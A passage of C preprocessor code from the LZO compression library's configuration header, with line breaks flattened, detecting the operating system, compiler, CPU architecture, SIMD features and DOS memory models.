defined(__R5900__)) || defined(__MIPS_PSX2__) # define LZO_OS_CONSOLE 1 # define LZO_OS_CONSOLE_PS2 1 # define LZO_INFO_OS "console" # define LZO_INFO_OS_CONSOLE "ps2" #elif defined(__mips__) && defined(__psp__) # define LZO_OS_CONSOLE 1 # define LZO_OS_CONSOLE_PSP 1 # define LZO_INFO_OS "console" # define LZO_INFO_OS_CONSOLE "psp" #else # define LZO_OS_POSIX 1 # define LZO_INFO_OS "posix" #endif #if (LZO_OS_POSIX) # if defined(_AIX) || defined(__AIX__) || defined(__aix__) # define LZO_OS_POSIX_AIX 1 # define LZO_INFO_OS_POSIX "aix" # elif defined(__FreeBSD__) # define LZO_OS_POSIX_FREEBSD 1 # define LZO_INFO_OS_POSIX "freebsd" # elif defined(__hpux__) || defined(__hpux) # define LZO_OS_POSIX_HPUX 1 # define LZO_INFO_OS_POSIX "hpux" # elif defined(__INTERIX) # define LZO_OS_POSIX_INTERIX 1 # define LZO_INFO_OS_POSIX "interix" # elif defined(__IRIX__) || defined(__irix__) # define LZO_OS_POSIX_IRIX 1 # define LZO_INFO_OS_POSIX "irix" # elif defined(__linux__) || defined(__linux) || defined(__LINUX__) # define LZO_OS_POSIX_LINUX 1 # define LZO_INFO_OS_POSIX "linux" # elif defined(__APPLE__) && defined(__MACH__) # if ((__ENVIRONMENT_IPHONE_OS_VERSION_MIN_REQUIRED__-0) >= 20000) # define LZO_OS_POSIX_DARWIN 1040 # define LZO_INFO_OS_POSIX "darwin_iphone" # elif ((__ENVIRONMENT_MAC_OS_X_VERSION_MIN_REQUIRED__-0) >= 1040) # define LZO_OS_POSIX_DARWIN __ENVIRONMENT_MAC_OS_X_VERSION_MIN_REQUIRED__ # define LZO_INFO_OS_POSIX "darwin" # else # define LZO_OS_POSIX_DARWIN 1 # define LZO_INFO_OS_POSIX "darwin" # endif # define LZO_OS_POSIX_MACOSX LZO_OS_POSIX_DARWIN # elif defined(__minix__) || defined(__minix) # define LZO_OS_POSIX_MINIX 1 # define LZO_INFO_OS_POSIX "minix" # elif defined(__NetBSD__) # define LZO_OS_POSIX_NETBSD 1 # define LZO_INFO_OS_POSIX "netbsd" # elif defined(__OpenBSD__) # define LZO_OS_POSIX_OPENBSD 1 # define LZO_INFO_OS_POSIX "openbsd" # elif defined(__osf__) # define LZO_OS_POSIX_OSF 1 # define LZO_INFO_OS_POSIX "osf" # elif defined(__solaris__) || defined(__sun) # if defined(__SVR4) || defined(__svr4__) # define LZO_OS_POSIX_SOLARIS 1 # define LZO_INFO_OS_POSIX "solaris" # else # define LZO_OS_POSIX_SUNOS 1 # define LZO_INFO_OS_POSIX "sunos" # endif # elif defined(__ultrix__) || defined(__ultrix) # define LZO_OS_POSIX_ULTRIX 1 # define LZO_INFO_OS_POSIX "ultrix" # elif defined(_UNICOS) # define LZO_OS_POSIX_UNICOS 1 # define LZO_INFO_OS_POSIX "unicos" # else # define LZO_OS_POSIX_UNKNOWN 1 # define LZO_INFO_OS_POSIX "unknown" # endif #endif #endif #if (LZO_OS_DOS16 || LZO_OS_OS216 || LZO_OS_WIN16) # if (UINT_MAX != LZO_0xffffL) # error "unexpected configuration - check your compiler defines" # endif # if (ULONG_MAX != LZO_0xffffffffL) # error "unexpected configuration - check your compiler defines" # endif #endif #if (LZO_OS_DOS32 || LZO_OS_OS2 || LZO_OS_WIN32 || LZO_OS_WIN64) # if (UINT_MAX != LZO_0xffffffffL) # error "unexpected configuration - check your compiler defines" # endif # if (ULONG_MAX != LZO_0xffffffffL) # error "unexpected configuration - check your compiler defines" # endif #endif #if defined(CIL) && defined(_GNUCC) && defined(__GNUC__) # define LZO_CC_CILLY 1 # define LZO_INFO_CC "Cilly" # if defined(__CILLY__) # define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(__CILLY__) # else # define LZO_INFO_CCVER "unknown" # endif #elif 0 && defined(SDCC) && defined(__VERSION__) && !defined(__GNUC__) # define LZO_CC_SDCC 1 # define LZO_INFO_CC "sdcc" # define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(SDCC) #elif defined(__PATHSCALE__) && defined(__PATHCC_PATCHLEVEL__) # define LZO_CC_PATHSCALE (__PATHCC__ * 0x10000L + (__PATHCC_MINOR__-0) * 0x100 + (__PATHCC_PATCHLEVEL__-0)) # define LZO_INFO_CC "Pathscale C" # define LZO_INFO_CCVER __PATHSCALE__ # if defined(__GNUC__) && defined(__GNUC_MINOR__) && defined(__VERSION__) # define LZO_CC_PATHSCALE_GNUC (__GNUC__ * 0x10000L + (__GNUC_MINOR__-0) * 0x100 + (__GNUC_PATCHLEVEL__-0)) # endif #elif defined(__INTEL_COMPILER) && ((__INTEL_COMPILER-0) > 0) # define LZO_CC_INTELC __INTEL_COMPILER # define LZO_INFO_CC "Intel C" # define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(__INTEL_COMPILER) # if defined(_MSC_VER) && ((_MSC_VER-0) > 0) # define LZO_CC_INTELC_MSC _MSC_VER # elif defined(__GNUC__) && defined(__GNUC_MINOR__) && defined(__VERSION__) # define LZO_CC_INTELC_GNUC (__GNUC__ * 0x10000L + (__GNUC_MINOR__-0) * 0x100 + (__GNUC_PATCHLEVEL__-0)) # endif #elif defined(__POCC__) && defined(_WIN32) # define LZO_CC_PELLESC 1 # define LZO_INFO_CC "Pelles C" # define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(__POCC__) #elif defined(__ARMCC_VERSION) && defined(__GNUC__) && defined(__GNUC_MINOR__) && defined(__VERSION__) # if defined(__GNUC_PATCHLEVEL__) # define LZO_CC_ARMCC_GNUC (__GNUC__ * 0x10000L + (__GNUC_MINOR__-0) * 0x100 + (__GNUC_PATCHLEVEL__-0)) # else # define LZO_CC_ARMCC_GNUC (__GNUC__ * 0x10000L + (__GNUC_MINOR__-0) * 0x100) # endif # define LZO_CC_ARMCC __ARMCC_VERSION # define LZO_INFO_CC "ARM C Compiler" # define LZO_INFO_CCVER __VERSION__ #elif defined(__clang__) && defined(__llvm__) && defined(__VERSION__) # if defined(__clang_major__) && defined(__clang_minor__) && defined(__clang_patchlevel__) # define LZO_CC_CLANG (__clang_major__ * 0x10000L + (__clang_minor__-0) * 0x100 + (__clang_patchlevel__-0)) # else # define LZO_CC_CLANG 0x010000L # endif # if defined(_MSC_VER) && ((_MSC_VER-0) > 0) # define LZO_CC_CLANG_MSC _MSC_VER # elif defined(__GNUC__) && defined(__GNUC_MINOR__) && defined(__VERSION__) # define LZO_CC_CLANG_GNUC (__GNUC__ * 0x10000L + (__GNUC_MINOR__-0) * 0x100 + (__GNUC_PATCHLEVEL__-0)) # endif # define LZO_INFO_CC "clang" # define LZO_INFO_CCVER __VERSION__ #elif defined(__llvm__) && defined(__GNUC__) && defined(__GNUC_MINOR__) && defined(__VERSION__) # if defined(__GNUC_PATCHLEVEL__) # define LZO_CC_LLVM_GNUC (__GNUC__ * 0x10000L + (__GNUC_MINOR__-0) * 0x100 + (__GNUC_PATCHLEVEL__-0)) # else # define LZO_CC_LLVM_GNUC (__GNUC__ * 0x10000L + (__GNUC_MINOR__-0) * 0x100) # endif # define LZO_CC_LLVM LZO_CC_LLVM_GNUC # define LZO_INFO_CC "llvm-gcc" # define LZO_INFO_CCVER __VERSION__ #elif defined(__ACK__) && defined(_ACK) # define LZO_CC_ACK 1 # define LZO_INFO_CC "Amsterdam Compiler Kit C" # define LZO_INFO_CCVER "unknown" #elif defined(__ARMCC_VERSION) && !defined(__GNUC__) # define LZO_CC_ARMCC __ARMCC_VERSION # define LZO_CC_ARMCC_ARMCC __ARMCC_VERSION # define LZO_INFO_CC "ARM C Compiler" # define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(__ARMCC_VERSION) #elif defined(__AZTEC_C__) # define LZO_CC_AZTECC 1 # define LZO_INFO_CC "Aztec C" # define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(__AZTEC_C__) #elif defined(__CODEGEARC__) # define LZO_CC_CODEGEARC 1 # define LZO_INFO_CC "CodeGear C" # define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(__CODEGEARC__) #elif defined(__BORLANDC__) # define LZO_CC_BORLANDC 1 # define LZO_INFO_CC "Borland C" # define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(__BORLANDC__) #elif defined(_CRAYC) && defined(_RELEASE) # define LZO_CC_CRAYC 1 # define LZO_INFO_CC "Cray C" # define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(_RELEASE) #elif defined(__DMC__) && defined(__SC__) # define LZO_CC_DMC 1 # define LZO_INFO_CC "Digital Mars C" # define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(__DMC__) #elif defined(__DECC) # define LZO_CC_DECC 1 # define LZO_INFO_CC "DEC C" # define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(__DECC) #elif (defined(__ghs) || defined(__ghs__)) && defined(__GHS_VERSION_NUMBER) && ((__GHS_VERSION_NUMBER-0) > 0) # define LZO_CC_GHS 1 # define LZO_INFO_CC "Green Hills C" # define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(__GHS_VERSION_NUMBER) # if defined(_MSC_VER) && ((_MSC_VER-0) > 0) # define LZO_CC_GHS_MSC _MSC_VER # elif defined(__GNUC__) && defined(__GNUC_MINOR__) && defined(__VERSION__) # define LZO_CC_GHS_GNUC (__GNUC__ * 0x10000L + (__GNUC_MINOR__-0) * 0x100 + (__GNUC_PATCHLEVEL__-0)) # endif #elif defined(__HIGHC__) # define LZO_CC_HIGHC 1 # define LZO_INFO_CC "MetaWare High C" # define LZO_INFO_CCVER "unknown" #elif defined(__HP_aCC) && ((__HP_aCC-0) > 0) # define LZO_CC_HPACC __HP_aCC # define LZO_INFO_CC "HP aCC" # define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(__HP_aCC) #elif defined(__IAR_SYSTEMS_ICC__) # define LZO_CC_IARC 1 # define LZO_INFO_CC "IAR C" # if defined(__VER__) # define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(__VER__) # else # define LZO_INFO_CCVER "unknown" # endif #elif defined(__IBMC__) && ((__IBMC__-0) > 0) # define LZO_CC_IBMC __IBMC__ # define LZO_INFO_CC "IBM C" # define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(__IBMC__) #elif defined(__IBMCPP__) && ((__IBMCPP__-0) > 0) # define LZO_CC_IBMC __IBMCPP__ # define LZO_INFO_CC "IBM C" # define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(__IBMCPP__) #elif defined(__KEIL__) && defined(__C166__) # define LZO_CC_KEILC 1 # define LZO_INFO_CC "Keil C" # define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(__C166__) #elif defined(__LCC__) && defined(_WIN32) && defined(__LCCOPTIMLEVEL) # define LZO_CC_LCCWIN32 1 # define LZO_INFO_CC "lcc-win32" # define LZO_INFO_CCVER "unknown" #elif defined(__LCC__) # define LZO_CC_LCC 1 # define LZO_INFO_CC "lcc" # if defined(__LCC_VERSION__) # define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(__LCC_VERSION__) # else # define LZO_INFO_CCVER "unknown" # endif #elif defined(__MWERKS__) && ((__MWERKS__-0) > 0) # define LZO_CC_MWERKS __MWERKS__ # define LZO_INFO_CC "Metrowerks C" # define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(__MWERKS__) #elif (defined(__NDPC__) || defined(__NDPX__)) && defined(__i386) # define LZO_CC_NDPC 1 # define LZO_INFO_CC "Microway NDP C" # define LZO_INFO_CCVER "unknown" #elif defined(__PACIFIC__) # define LZO_CC_PACIFICC 1 # define LZO_INFO_CC "Pacific C" # define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(__PACIFIC__) #elif defined(__PGI) && defined(__PGIC__) && defined(__PGIC_MINOR__) # if defined(__PGIC_PATCHLEVEL__) # define LZO_CC_PGI (__PGIC__ * 0x10000L + (__PGIC_MINOR__-0) * 0x100 + (__PGIC_PATCHLEVEL__-0)) # define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(__PGIC__) "." LZO_PP_MACRO_EXPAND(__PGIC_MINOR__) "." LZO_PP_MACRO_EXPAND(__PGIC_PATCHLEVEL__) # else # define LZO_CC_PGI (__PGIC__ * 0x10000L + (__PGIC_MINOR__-0) * 0x100) # define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(__PGIC__) "." LZO_PP_MACRO_EXPAND(__PGIC_MINOR__) ".0" # endif # define LZO_INFO_CC "Portland Group PGI C" #elif defined(__PGI) && (defined(__linux__) || defined(__WIN32__)) # define LZO_CC_PGI 1 # define LZO_INFO_CC "Portland Group PGI C" # define LZO_INFO_CCVER "unknown" #elif defined(__PUREC__) && defined(__TOS__) # define LZO_CC_PUREC 1 # define LZO_INFO_CC "Pure C" # define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(__PUREC__) #elif defined(__SC__) && defined(__ZTC__) # define LZO_CC_SYMANTECC 1 # define LZO_INFO_CC "Symantec C" # define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(__SC__) #elif defined(__SUNPRO_C) # define LZO_INFO_CC "SunPro C" # if ((__SUNPRO_C-0) > 0) # define LZO_CC_SUNPROC __SUNPRO_C # define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(__SUNPRO_C) # else # define LZO_CC_SUNPROC 1 # define LZO_INFO_CCVER "unknown" # endif #elif defined(__SUNPRO_CC) # define LZO_INFO_CC "SunPro C" # if ((__SUNPRO_CC-0) > 0) # define LZO_CC_SUNPROC __SUNPRO_CC # define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(__SUNPRO_CC) # else # define LZO_CC_SUNPROC 1 # define LZO_INFO_CCVER "unknown" # endif #elif defined(__TINYC__) # define LZO_CC_TINYC 1 # define LZO_INFO_CC "Tiny C" # define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(__TINYC__) #elif defined(__TSC__) # define LZO_CC_TOPSPEEDC 1 # define LZO_INFO_CC "TopSpeed C" # define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(__TSC__) #elif defined(__WATCOMC__) # define LZO_CC_WATCOMC 1 # define LZO_INFO_CC "Watcom C" # define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(__WATCOMC__) #elif defined(__TURBOC__) # define LZO_CC_TURBOC 1 # define LZO_INFO_CC "Turbo C" # define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(__TURBOC__) #elif defined(__ZTC__) # define LZO_CC_ZORTECHC 1 # define LZO_INFO_CC "Zortech C" # if ((__ZTC__-0) == 0x310) # define LZO_INFO_CCVER "0x310" # else # define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(__ZTC__) # endif #elif defined(__GNUC__) && defined(__VERSION__) # if defined(__GNUC_MINOR__) && defined(__GNUC_PATCHLEVEL__) # define LZO_CC_GNUC (__GNUC__ * 0x10000L + (__GNUC_MINOR__-0) * 0x100 + (__GNUC_PATCHLEVEL__-0)) # elif defined(__GNUC_MINOR__) # define LZO_CC_GNUC (__GNUC__ * 0x10000L + (__GNUC_MINOR__-0) * 0x100) # else # define LZO_CC_GNUC (__GNUC__ * 0x10000L) # endif # define LZO_INFO_CC "gcc" # define LZO_INFO_CCVER __VERSION__ #elif defined(_MSC_VER) && ((_MSC_VER-0) > 0) # define LZO_CC_MSC _MSC_VER # define LZO_INFO_CC "Microsoft C" # if defined(_MSC_FULL_VER) # define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(_MSC_VER) "." LZO_PP_MACRO_EXPAND(_MSC_FULL_VER) # else # define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(_MSC_VER) # endif #else # define LZO_CC_UNKNOWN 1 # define LZO_INFO_CC "unknown" # define LZO_INFO_CCVER "unknown" #endif #if (LZO_CC_GNUC) && defined(__OPEN64__) # if defined(__OPENCC__) && defined(__OPENCC_MINOR__) && defined(__OPENCC_PATCHLEVEL__) # define LZO_CC_OPEN64 (__OPENCC__ * 0x10000L + (__OPENCC_MINOR__-0) * 0x100 + (__OPENCC_PATCHLEVEL__-0)) # define LZO_CC_OPEN64_GNUC LZO_CC_GNUC # endif #endif #if (LZO_CC_GNUC) && defined(__PCC__) # if defined(__PCC__) && defined(__PCC_MINOR__) && defined(__PCC_MINORMINOR__) # define LZO_CC_PCC (__PCC__ * 0x10000L + (__PCC_MINOR__-0) * 0x100 + (__PCC_MINORMINOR__-0)) # define LZO_CC_PCC_GNUC LZO_CC_GNUC # endif #endif #if 0 && (LZO_CC_MSC && (_MSC_VER >= 1200)) && !defined(_MSC_FULL_VER) # error "LZO_CC_MSC: _MSC_FULL_VER is not defined" #endif #if !defined(__LZO_ARCH_OVERRIDE) && !(LZO_ARCH_GENERIC) && defined(_CRAY) # if (UINT_MAX > LZO_0xffffffffL) && defined(_CRAY) # if defined(_CRAYMPP) || defined(_CRAYT3D) || defined(_CRAYT3E) # define LZO_ARCH_CRAY_MPP 1 # elif defined(_CRAY1) # define LZO_ARCH_CRAY_PVP 1 # endif # endif #endif #if !defined(__LZO_ARCH_OVERRIDE) #if (LZO_ARCH_GENERIC) # define LZO_INFO_ARCH "generic" #elif (LZO_OS_DOS16 || LZO_OS_OS216 || LZO_OS_WIN16) # define LZO_ARCH_I086 1 # define LZO_INFO_ARCH "i086" #elif defined(__aarch64__) # define LZO_ARCH_ARM64 1 # define LZO_INFO_ARCH "arm64" #elif defined(__alpha__) || defined(__alpha) || defined(_M_ALPHA) # define LZO_ARCH_ALPHA 1 # define LZO_INFO_ARCH "alpha" #elif (LZO_ARCH_CRAY_MPP) && (defined(_CRAYT3D) || defined(_CRAYT3E)) # define LZO_ARCH_ALPHA 1 # define LZO_INFO_ARCH "alpha" #elif defined(__amd64__) || defined(__x86_64__) || defined(_M_AMD64) # define LZO_ARCH_AMD64 1 # define LZO_INFO_ARCH "amd64" #elif defined(__thumb__) || (defined(_M_ARM) && defined(_M_THUMB)) # define LZO_ARCH_ARM 1 # define LZO_ARCH_ARM_THUMB 1 # define LZO_INFO_ARCH "arm_thumb" #elif defined(__IAR_SYSTEMS_ICC__) && defined(__ICCARM__) # define LZO_ARCH_ARM 1 # if defined(__CPU_MODE__) && ((__CPU_MODE__-0) == 1) # define LZO_ARCH_ARM_THUMB 1 # define LZO_INFO_ARCH "arm_thumb" # elif defined(__CPU_MODE__) && ((__CPU_MODE__-0) == 2) # define LZO_INFO_ARCH "arm" # else # define LZO_INFO_ARCH "arm" # endif #elif defined(__arm__) || defined(_M_ARM) # define LZO_ARCH_ARM 1 # define LZO_INFO_ARCH "arm" #elif (UINT_MAX <= LZO_0xffffL) && defined(__AVR__) # define LZO_ARCH_AVR 1 # define LZO_INFO_ARCH "avr" #elif defined(__avr32__) || defined(__AVR32__) # define LZO_ARCH_AVR32 1 # define LZO_INFO_ARCH "avr32" #elif defined(__bfin__) # define LZO_ARCH_BLACKFIN 1 # define LZO_INFO_ARCH "blackfin" #elif (UINT_MAX == LZO_0xffffL) && defined(__C166__) # define LZO_ARCH_C166 1 # define LZO_INFO_ARCH "c166" #elif defined(__cris__) # define LZO_ARCH_CRIS 1 # define LZO_INFO_ARCH "cris" #elif defined(__IAR_SYSTEMS_ICC__) && defined(__ICCEZ80__) # define LZO_ARCH_EZ80 1 # define LZO_INFO_ARCH "ez80" #elif defined(__H8300__) || defined(__H8300H__) || defined(__H8300S__) || defined(__H8300SX__) # define LZO_ARCH_H8300 1 # define LZO_INFO_ARCH "h8300" #elif defined(__hppa__) || defined(__hppa) # define LZO_ARCH_HPPA 1 # define LZO_INFO_ARCH "hppa" #elif defined(__386__) || defined(__i386__) || defined(__i386) || defined(_M_IX86) || defined(_M_I386) # define LZO_ARCH_I386 1 # define LZO_ARCH_IA32 1 # define LZO_INFO_ARCH "i386" #elif (LZO_CC_ZORTECHC && defined(__I86__)) # define LZO_ARCH_I386 1 # define LZO_ARCH_IA32 1 # define LZO_INFO_ARCH "i386" #elif (LZO_OS_DOS32 && LZO_CC_HIGHC) && defined(_I386) # define LZO_ARCH_I386 1 # define LZO_ARCH_IA32 1 # define LZO_INFO_ARCH "i386" #elif defined(__ia64__) || defined(__ia64) || defined(_M_IA64) # define LZO_ARCH_IA64 1 # define LZO_INFO_ARCH "ia64" #elif (UINT_MAX == LZO_0xffffL) && defined(__m32c__) # define LZO_ARCH_M16C 1 # define LZO_INFO_ARCH "m16c" #elif defined(__IAR_SYSTEMS_ICC__) && defined(__ICCM16C__) # define LZO_ARCH_M16C 1 # define LZO_INFO_ARCH "m16c" #elif defined(__m32r__) # define LZO_ARCH_M32R 1 # define LZO_INFO_ARCH "m32r" #elif (LZO_OS_TOS) || defined(__m68k__) || defined(__m68000__) || defined(__mc68000__) || defined(__mc68020__) || defined(_M_M68K) # define LZO_ARCH_M68K 1 # define LZO_INFO_ARCH "m68k" #elif (UINT_MAX == LZO_0xffffL) && defined(__C251__) # define LZO_ARCH_MCS251 1 # define LZO_INFO_ARCH "mcs251" #elif (UINT_MAX == LZO_0xffffL) && defined(__C51__) # define LZO_ARCH_MCS51 1 # define LZO_INFO_ARCH "mcs51" #elif defined(__IAR_SYSTEMS_ICC__) && defined(__ICC8051__) # define LZO_ARCH_MCS51 1 # define LZO_INFO_ARCH "mcs51" #elif defined(__mips__) || defined(__mips) || defined(_MIPS_ARCH) || defined(_M_MRX000) # define LZO_ARCH_MIPS 1 # define LZO_INFO_ARCH "mips" #elif (UINT_MAX == LZO_0xffffL) && defined(__MSP430__) # define LZO_ARCH_MSP430 1 # define LZO_INFO_ARCH "msp430" #elif defined(__IAR_SYSTEMS_ICC__) && defined(__ICC430__) # define LZO_ARCH_MSP430 1 # define LZO_INFO_ARCH "msp430" #elif defined(__powerpc__) || defined(__powerpc) || defined(__ppc__) || defined(__PPC__) || defined(_M_PPC) || defined(_ARCH_PPC) || defined(_ARCH_PWR) # define LZO_ARCH_POWERPC 1 # define LZO_INFO_ARCH "powerpc" #elif defined(__s390__) || defined(__s390) || defined(__s390x__) || defined(__s390x) # define LZO_ARCH_S390 1 # define LZO_INFO_ARCH "s390" #elif defined(__sh__) || defined(_M_SH) # define LZO_ARCH_SH 1 # define LZO_INFO_ARCH "sh" #elif defined(__sparc__) || defined(__sparc) || defined(__sparcv8) # define LZO_ARCH_SPARC 1 # define LZO_INFO_ARCH "sparc" #elif defined(__SPU__) # define LZO_ARCH_SPU 1 # define LZO_INFO_ARCH "spu" #elif (UINT_MAX == LZO_0xffffL) && defined(__z80) # define LZO_ARCH_Z80 1 # define LZO_INFO_ARCH "z80" #elif (LZO_ARCH_CRAY_PVP) # if defined(_CRAYSV1) # define LZO_ARCH_CRAY_SV1 1 # define LZO_INFO_ARCH "cray_sv1" # elif (_ADDR64) # define LZO_ARCH_CRAY_T90 1 # define LZO_INFO_ARCH "cray_t90" # elif (_ADDR32) # define LZO_ARCH_CRAY_YMP 1 # define LZO_INFO_ARCH "cray_ymp" # else # define LZO_ARCH_CRAY_XMP 1 # define LZO_INFO_ARCH "cray_xmp" # endif #else # define LZO_ARCH_UNKNOWN 1 # define LZO_INFO_ARCH "unknown" #endif #endif #if 1 && (LZO_ARCH_UNKNOWN) && (LZO_OS_DOS32 || LZO_OS_OS2) # error "FIXME - missing define for CPU architecture" #endif #if 1 && (LZO_ARCH_UNKNOWN) && (LZO_OS_WIN32) # error "FIXME - missing LZO_OS_WIN32 define for CPU architecture" #endif #if 1 && (LZO_ARCH_UNKNOWN) && (LZO_OS_WIN64) # error "FIXME - missing LZO_OS_WIN64 define for CPU architecture" #endif #if (LZO_OS_OS216 || LZO_OS_WIN16) # define LZO_ARCH_I086PM 1 #elif 1 && (LZO_OS_DOS16 && defined(BLX286)) # define LZO_ARCH_I086PM 1 #elif 1 && (LZO_OS_DOS16 && defined(DOSX286)) # define LZO_ARCH_I086PM 1 #elif 1 && (LZO_OS_DOS16 && LZO_CC_BORLANDC && defined(__DPMI16__)) # define LZO_ARCH_I086PM 1 #endif #if (LZO_ARCH_AMD64 && !LZO_ARCH_X64) # define LZO_ARCH_X64 1 #elif (!LZO_ARCH_AMD64 && LZO_ARCH_X64) && defined(__LZO_ARCH_OVERRIDE) # define LZO_ARCH_AMD64 1 #endif #if (LZO_ARCH_ARM64 && !LZO_ARCH_AARCH64) # define LZO_ARCH_AARCH64 1 #elif (!LZO_ARCH_ARM64 && LZO_ARCH_AARCH64) && defined(__LZO_ARCH_OVERRIDE) # define LZO_ARCH_ARM64 1 #endif #if (LZO_ARCH_I386 && !LZO_ARCH_X86) # define LZO_ARCH_X86 1 #elif (!LZO_ARCH_I386 && LZO_ARCH_X86) && defined(__LZO_ARCH_OVERRIDE) # define LZO_ARCH_I386 1 #endif #if (LZO_ARCH_AMD64 && !LZO_ARCH_X64) || (!LZO_ARCH_AMD64 && LZO_ARCH_X64) # error "unexpected configuration - check your compiler defines" #endif #if (LZO_ARCH_ARM64 && !LZO_ARCH_AARCH64) || (!LZO_ARCH_ARM64 && LZO_ARCH_AARCH64) # error "unexpected configuration - check your compiler defines" #endif #if (LZO_ARCH_I386 && !LZO_ARCH_X86) || (!LZO_ARCH_I386 && LZO_ARCH_X86) # error "unexpected configuration - check your compiler defines" #endif #if (LZO_ARCH_ARM_THUMB && !LZO_ARCH_ARM) # error "unexpected configuration - check your compiler defines" #endif #if (LZO_ARCH_ARM_THUMB1 && !LZO_ARCH_ARM_THUMB) # error "unexpected configuration - check your compiler defines" #endif #if (LZO_ARCH_ARM_THUMB2 && !LZO_ARCH_ARM_THUMB) # error "unexpected configuration - check your compiler defines" #endif #if (LZO_ARCH_ARM_THUMB1 && LZO_ARCH_ARM_THUMB2) # error "unexpected configuration - check your compiler defines" #endif #if (LZO_ARCH_I086PM && !LZO_ARCH_I086) # error "unexpected configuration - check your compiler defines" #endif #if (LZO_ARCH_I086) # if (UINT_MAX != LZO_0xffffL) # error "unexpected configuration - check your compiler defines" # endif # if (ULONG_MAX != LZO_0xffffffffL) # error "unexpected configuration - check your compiler defines" # endif #endif #if (LZO_ARCH_I386) # if (UINT_MAX != LZO_0xffffL) && defined(__i386_int16__) # error "unexpected configuration - check your compiler defines" # endif # if (UINT_MAX != LZO_0xffffffffL) && !defined(__i386_int16__) # error "unexpected configuration - check your compiler defines" # endif # if (ULONG_MAX != LZO_0xffffffffL) # error "unexpected configuration - check your compiler defines" # endif #endif #if (LZO_ARCH_AMD64 || LZO_ARCH_I386) # if !defined(LZO_TARGET_FEATURE_SSE2) # if defined(__SSE2__) # define LZO_TARGET_FEATURE_SSE2 1 # elif defined(_MSC_VER) && ((defined(_M_IX86_FP) && ((_M_IX86_FP)+0 >= 2)) || defined(_M_AMD64)) # define LZO_TARGET_FEATURE_SSE2 1 # endif # endif # if !defined(LZO_TARGET_FEATURE_SSSE3) # if (LZO_TARGET_FEATURE_SSE2) # if defined(__SSSE3__) # define LZO_TARGET_FEATURE_SSSE3 1 # elif defined(_MSC_VER) && defined(__AVX__) # define LZO_TARGET_FEATURE_SSSE3 1 # endif # endif # endif # if !defined(LZO_TARGET_FEATURE_SSE4_2) # if (LZO_TARGET_FEATURE_SSSE3) # if defined(__SSE4_2__) # define LZO_TARGET_FEATURE_SSE4_2 1 # endif # endif # endif # if !defined(LZO_TARGET_FEATURE_AVX) # if (LZO_TARGET_FEATURE_SSSE3) # if defined(__AVX__) # define LZO_TARGET_FEATURE_AVX 1 # endif # endif # endif # if !defined(LZO_TARGET_FEATURE_AVX2) # if (LZO_TARGET_FEATURE_AVX) # if defined(__AVX2__) # define LZO_TARGET_FEATURE_AVX2 1 # endif # endif # endif #endif #if (LZO_TARGET_FEATURE_SSSE3 && !(LZO_TARGET_FEATURE_SSE2)) # error "unexpected configuration - check your compiler defines" #endif #if (LZO_TARGET_FEATURE_SSE4_2 && !(LZO_TARGET_FEATURE_SSSE3)) # error "unexpected configuration - check your compiler defines" #endif #if (LZO_TARGET_FEATURE_AVX && !(LZO_TARGET_FEATURE_SSSE3)) # error "unexpected configuration - check your compiler defines" #endif #if (LZO_TARGET_FEATURE_AVX2 && !(LZO_TARGET_FEATURE_AVX)) # error "unexpected configuration - check your compiler defines" #endif #if (LZO_ARCH_ARM) # if !defined(LZO_TARGET_FEATURE_NEON) # if defined(__ARM_NEON__) # define LZO_TARGET_FEATURE_NEON 1 # endif # endif #elif (LZO_ARCH_ARM64) # if !defined(LZO_TARGET_FEATURE_NEON) # if 1 # define LZO_TARGET_FEATURE_NEON 1 # endif # endif #endif #if 0 #elif !defined(__LZO_MM_OVERRIDE) #if (LZO_ARCH_I086) #if (UINT_MAX != LZO_0xffffL) # error "unexpected configuration - check your compiler defines" #endif #if defined(__TINY__) || defined(M_I86TM) || defined(_M_I86TM) # define LZO_MM_TINY 1 #elif defined(__HUGE__) || defined(_HUGE_) || defined(M_I86HM) || defined(_M_I86HM) # define LZO_MM_HUGE 1 #elif defined(__SMALL__) || defined(M_I86SM) || defined(_M_I86SM) || defined(SMALL_MODEL) # define LZO_MM_SMALL 1 #elif defined(__MEDIUM__) || defined(M_I86MM) || defined(_M_I86MM) # define LZO_MM_MEDIUM 1 #elif defined(__COMPACT__) || defined(M_I86CM) || defined(_M_I86CM) # define LZO_MM_COMPACT 1 #elif defined(__LARGE__) || defined(M_I86LM) || defined(_M_I86LM) || defined(LARGE_MODEL) # define LZO_MM_LARGE 1 #elif (LZO_CC_AZTECC) # if defined(_LARGE_CODE) && defined(_LARGE_DATA) # define LZO_MM_LARGE 1 # elif defined(_LARGE_CODE) # define LZO_MM_MEDIUM 1 # elif defined(_LARGE_DATA) # define LZO_MM_COMPACT 1 # else # define LZO_MM_SMALL 1 # endif #elif (LZO_CC_ZORTECHC && defined(__VCM__)) # define LZO_MM_LARGE 1 #else # error 